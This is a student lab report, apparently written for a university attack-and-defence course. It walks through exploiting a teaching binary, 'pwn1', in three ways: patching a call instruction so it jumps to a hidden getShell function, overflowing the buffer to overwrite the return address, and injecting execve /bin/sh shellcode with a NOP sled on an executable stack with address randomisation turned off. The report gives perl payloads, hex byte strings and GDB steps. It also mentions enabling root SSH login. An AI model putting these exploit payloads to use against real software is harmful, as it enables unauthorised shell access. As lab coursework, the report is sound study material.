1.实验内容
1.1实验目标
- 本次实践的对象是一个名为pwn1的linux可执行文件。
- 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。
- 正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
1.2基础知识
- Linux基本操作的学习
- 文件与目录操作如cd、ls、cp
- 权限管理:通过chmod设置文件权限,确保可执行文件有正确的执行权限
- 进程相关操作:使用ps查看进程、kill终止进程等
- 命令行工具使用:如cat查看文件内容、echo输出内容等
- 理解Bof的原理
- 栈的结构:了解栈在内存中的生长方向(通常向低地址生长),以及函数调用时栈帧的创建(包括局部变量、返回地址、EBP 寄存器等的存储位置)。当函数处理输入时,若输入数据过长,会覆盖栈中的其他数据,这是缓冲区溢出的基础。
- 返回地址覆盖:函数执行结束时,会从栈中取出返回地址,跳转到该地址继续执行。利用缓冲区溢出,用恶意构造的地址(如getShell函数地址)覆盖原本的返回地址,就能改变程序的执行流程。
- Shellcode 概念:知道 Shellcode 是一段能实现特定功能(如获取 Shell)的可执行机器代码,理解如何将其注入到存在缓冲区溢出漏洞的程序中,并让程序执行这段代码。
- GDB调试技巧
- 基本调试命令:
gdb <程序名>:启动 GDB 调试程序。
run(r):运行程序。
break(b):设置断点,可在特定函数(如b foo)或地址处设置,用于暂停程序执行,查看当前状态。
continue(c):继续执行程序,直到下一个断点或程序结束。
print(p):打印变量或寄存器的值,如p $eip查看 EIP 寄存器内容。
- EIP 寄存器相关:明确 EIP 寄存器是指令指针寄存器,存储着下一条要执行的指令的地址。在缓冲区溢出中,通过覆盖返回地址,能控制 EIP 的值,从而改变程序执行流。
- Call 指令:call指令用于调用函数,会将当前 EIP 的下一条指令地址压入栈中,然后跳转到被调用函数的入口地址。在调试时,可观察call指令对栈和 EIP 的影响。
- 指令跳转偏移计算:当需要修改指令让程序跳转到特定位置时,要计算当前指令地址与目标地址的偏移量,确保跳转正确。
- 反汇编指令objdump:使用objdump -d <可执行文件>对可执行文件进行反汇编,查看程序的汇编代码,了解函数的入口地址、指令序列等,这对分析程序流程、寻找漏洞点很关键。
2.实验过程
2.1实践一
直接修改程序机器指令,改变程序执行流程
1.下载可执行文件pwn1,通过WINSCP将其传入kali中,重命名为pwn20232324
2.查看目标文件pwn20232324反汇编代码
使用
objdump -d pwn1 | more
命令,找到汇编指令call 8048491
,意思是说这条指令将调用位于地址8048491处的foo函数
main 调用 foo 的机器指令是
e8 d7ffffff
(e8 表跳转,d7ffffff 为补码,当 EIP 为 80484ba 时,计算得 foo 地址 8048491),若想改调 getShell,只需将 “d7ffffff” 换成 “getShell 地址 - 80484ba” 的补码,用计算器算 47d-4ba 可得该补码为c3ffffff
。
3.修改返回地址
复制pwn文件
cp pwn20232324 pwn20232324_2
通过命令
vi pwn 20232324_2
编辑可执行文件
1.按ESC键
2.输入如下,将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/e8d7
4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq
4.检查call指令是否正确调用getshell地址
输入
objdump -d pwn2 | more
5.重新运行可执行文件,得到shell提示符#
输入
./pwn20232324
运行文件,尝试使用ls
命令
2.2实践二
通过构造输入参数,造成BOF攻击,改变程序执行流
1.找到函数Buffer overflow漏洞
从图中我们可以得知系统只预留了 28 字节 的缓冲区,超过这个长度的输入就会覆盖栈上的其他数据(包括保存的 EBP 和返回地址)
2.确认输入字符串哪几个字符会覆盖到返回地址
下载并启动gdb进行调试
我们可以从上图中找到eip寄存器内的值为0x35353535,35是5的ASCII的值,接下我们需要继续调试,找到是从输入的字符串中的哪一个'5'开始覆盖返回地址
此时eip寄存器内的值为0x34333231即'1234',所以我们可以得知只要将原先'1234'及其以后的内容替换为getsgell的内存地址,CPU会尝试运行这个位置的代码,从而调用shell。
3.确认用什么值来覆盖返回地址
在2.2.1中我们可以找到getshell的内存地址为0804847d,对比之前 eip 0x34333231确认字节序,正确输入
11111111222222223333333344444444\x7d\x84\x04\x08
字符串。
4.构造输入字符串
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
输入 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
使用16进制查看指令xxd查看input文件的内容是否如预期。
输入xxd input
然后将input的输入,通过管道符“|”,作为pwn20232324的输入。
输入(cat input; cat) | ./pwn20232324_2
调用shell
输入 ls
2.3实践三
注入Shellcode并执行
1.准备工作
- 设置堆栈可执行、查询文件的堆栈是否可执行、并关闭地址随机化(见“问题三及其解决”中的命令)
- 准备一段shellcode,依据实验指导书所提供的
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
2.构造payload
Linux下有两种基本构造攻击buf的方法:
- anything+retaddr+nop+shellcode
- anything+nop+shellcode+retaddr。
nop一为是了填充,二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
输入 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode20232324
3.打开终端注入这段攻击
输入(cat input_shellcode20232324;cat) | ./pwn20232324
4.再开另外一个终端,用gdb来调试pwn20232324这个进程
找到pwn20232324进程号
输入 ps -ef | grep pwn20232324
有图可知进程号为131870,启动gdb调试进程131870,进行以下操作
(1)启动gdb 输入gdb
(2)调试进程 输入attach 131870
(3)设置断点,来查看注入buf的内存地址
①输入disassemble foo
②输入break *0x080484ae
foo的结束地址是0x080484ae,在此处设置一个断点,因为ret完,就跳到我们覆盖的retaddr了
在终端1中按下回车,这就是前面为什么不能以\x0a来结束 input_shellcode20232324的原因.
继续打开终端2,进行gdb调试
(4)继续 输入c
(5)遇到断点后,查当前栈顶地址 输入info r esp
由图可知地址为
此时我们得知retaddr地址为0xffffcfcc,其值0x01020304应该为shellcode的地址,从而构造出anything+nop+shellcode+retaddr结构
由实验指导书可知,在 绝大多数实际场景中(有 leave 指令、有栈操作的常规函数),anything+nop+shellcode+retaddr结构是无法实现的,因为会被栈帧清理覆盖 shellcode,且 retaddr 容错率为 0;只有在极端极简的汇编函数中(无 leave、无栈操作),才可能勉强执行,但这种场景没有实际意义。所以应该使用anything+retaddr+nop+shellcode结构
构造payload结构为anything+retaddr+nop+shellcode
输入perl -e 'print "A" x 32;print "\xd0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode20232324_232位的‘A’刚好占满缓冲区的位置,\x90\x90\x90\x90\x90\x90为nop会自动滑行到shellcode,所以我们的retaddr里面的值为retaddr(0xffffcfcc)+4字节=0xffffcfd0
输入xxd input_shellcode20232324_2
输入(cat input_shellcode20232324_2;cat) | ./pwn20232324命令进行运行,
出现了shell,输入ls
3.问题及解决方案
- 问题1:winscp传输文件失败
- 问题1解决方案:Kali Linux默认禁止root用户直接通过 SSH 登录。查看虚拟机中 SSH 服务的配置文件(通常是/etc/ssh/sshd_config),找到PermitRootLogin相关的设置修改为yes,然后重启 SSH 服务。
- 问题2:修改完返回地址后,无法运行pwn20232324_2
- 问题2解决方案:当前用户没有执行权限,你可以使用 chmod 命令赋予其执行权限:
chmod +x pwn20232324_2
- 问题3:无法下载execstack
- 问题3解决方案:使用以下命令
sudo apt install patchelf
启用栈执行(相当于 execstack -s)patchelf --set-execstack pwn1
验证是否成功readelf -l pwn1 | grep GNU_STACK
如果输出包含 RWE(Read-Write-Execute),说明栈可执行。
如果只有 RW,说明栈不可执行(NX 保护开启)。
4.学习感悟、思考等
本次实验我通过Linux基本操作、反汇编、GDB调试技术掌握了栈内布局和缓冲区溢出攻击,也使得我更好的理解如何防御这些漏洞攻击。此外,我认为在做实验前应该将实验原理有了细致的掌握后再进行操作,这样可以使得我们的每一个理论知识得到验证。
最后,感谢一下洪老师呜呜呜😭😭😭,非常耐心且详细地给我讲了实践三的原理!😘
参考资料
- 逆向及Bof基础实践说明
- 网络与系统攻防技术实验一实验报告